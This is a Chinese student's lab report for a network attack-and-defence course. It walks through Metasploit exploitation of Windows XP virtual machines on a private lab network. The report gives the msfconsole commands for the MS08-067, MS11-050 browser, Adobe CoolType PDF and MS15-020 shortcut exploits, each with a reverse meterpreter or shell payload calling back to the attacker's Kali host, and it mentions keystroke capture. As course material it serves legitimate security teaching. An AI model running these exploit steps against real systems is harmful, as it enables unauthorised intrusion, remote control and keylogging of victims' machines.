20145327 《网络对抗》MSF基础应用

主动攻击ms08_067

两台虚拟机，其中一台为kali，一台为windows xp sp3(英文版)
kali ip地址：192.168.43.54
windows xp sp3 ip地址：192.168.43.56
ping通：

MS08_067远程漏洞攻击实践：Shell
1.开启msfconsole.

2.输入命令search ms08_067,会显示出找到的渗透模块.

3.输入命令use exploit/windows/smb/ms08_067_netapi，进入漏洞模块的使用.

4.输入命令show payload会显示出有效的攻击载荷.

5.set payload generic/shell_reverse_tcp设置攻击有效载荷.

6.show options显示我们需要在攻击前需要设置的数据.

7.输入命令set LHOST 192.168.43.54 ;set RHOST 192.168.43.56 show options再次查看payload状态.

8.exploit攻击

在kali上执行ipconfig/all

在win xp上执行同样的命令

MS08_067远程漏洞攻击实践：meterpreter
1.使用命令use exploit/windows/smb/ms08_067_netapi，进入ms08_067漏洞模块。

2.设置payload：set payload windows/meterpreter/reverse_tcp

3.show options,设置的ip地址

4.exploit攻击

5.执行ifconfig,查看靶机地址：

6.ps查看进程：

7.meterpreter转shell：

针对浏览器的攻击ms11_050

kali ip地址：192.168.43.54
windows xp ip地址：192.168.43.125

1.开启msfconsole

2.输入use windows/browser/ms11_050_mshtml_cobjectelement进入该漏洞模块

3.输入info查看信息

对应的targets：

4.设置载荷set payload windows/meterpreter/reverse_tcp

5.show options查看需要设置的相关信息：

6.设置相关信息
set LHOST 192.168.43.54 ;set LPORT 5327 ;set URIPATH cc

7.exploit,有靶机需要访问的ip地址：

8.在靶机IE上输入网址，并在靶机上查看信息

kali中显示一个session 1已经创建：

9.输入命令sessions -i 1,开始连接

10.已经攻击成功了，开始按键抓取或者获取shell

Adobe阅读器渗透攻击

kali ip地址：192.168.43.54
windows xp ip地址：192.168.43.100

1.开启msfconsole。

2.use exploit/windows/fileformat/adobe_cooltype_sing，进入该漏洞模块的使用

3.set payload windows/meterpreter/reverse_tcp设置攻击有效载荷

4.show options

5.输入命令
set FILENAME gc.pdf ;set LHOST 192.168.43.54 ;set LPORT 5327
再次使用show options，看是否设置成功

6.exploit,生成pdf文件，并可以看到pdf所在文件夹，将pdf复制到靶机里

7.使用命令back退出当前模块，并使用use exploit/multi/handler新建一个监听模块。

8.使用set payload windows/meterpreter/reverse_tcp建立一个反向连接。输入命令set LHOST 192.168.43.54 set LPORT 5327和攻击模块里的数据设置为一样的。

9.exploit开始攻击，在xp中打开pdf
很无奈在xp中死活粘不了PDF

要是能粘上肯定是成功的，摊手与微笑.jpg

成功应用任何一个辅助模块 ms15-020

两台虚拟机，其中一台为kali，一台为windows xp sp3(英文版)
kali ip地址：192.168.43.54
windows xp ip地址：192.168.43.125
共享主机win10：192.168.43.64

search ms15 //搜索关键字相关漏洞

启动msf msfconsole

漏洞利用模块 use exploit/windows/fileformat/ms15_020_shortcut_icon_dllloader

查看漏洞相关信息 info

设置一个反弹shellset payload windows/meterpreter/reverse_tcp

show options设置参数

设置win10(开着共享)地址 set UNCHOST 192.168.43.64

设置共享文件的文件夹这里主机192.168.43.64在C盘下的share里文件夹开启了共享 set UNCSHARE share

set LHOST 192.168.43.54

exploit

去生成的目录下把文件拷贝到共享主机的共享文件夹下
这拷贝我真是多灾多难呀

所以我尝试开三个虚拟机希望我的电脑不会炸微笑.jpg
很绝望问了小组长负责人学霸都无法解决

关了不甘心又再试了一次，成功粘了俩然而文件名过长那个该怎么办

实验后回答问题

什么是exploit,payload,encode
exploit是设置攻击参数发送到靶机
payload就是一种载荷shellcode包装成文件
encode是编码
实验总结与体会
非常感谢课题负责人张亚军小精灵的虚拟机提供，提供很大帮助避免不少麻烦。这次实验的复制粘贴闹了鬼我很是绝望。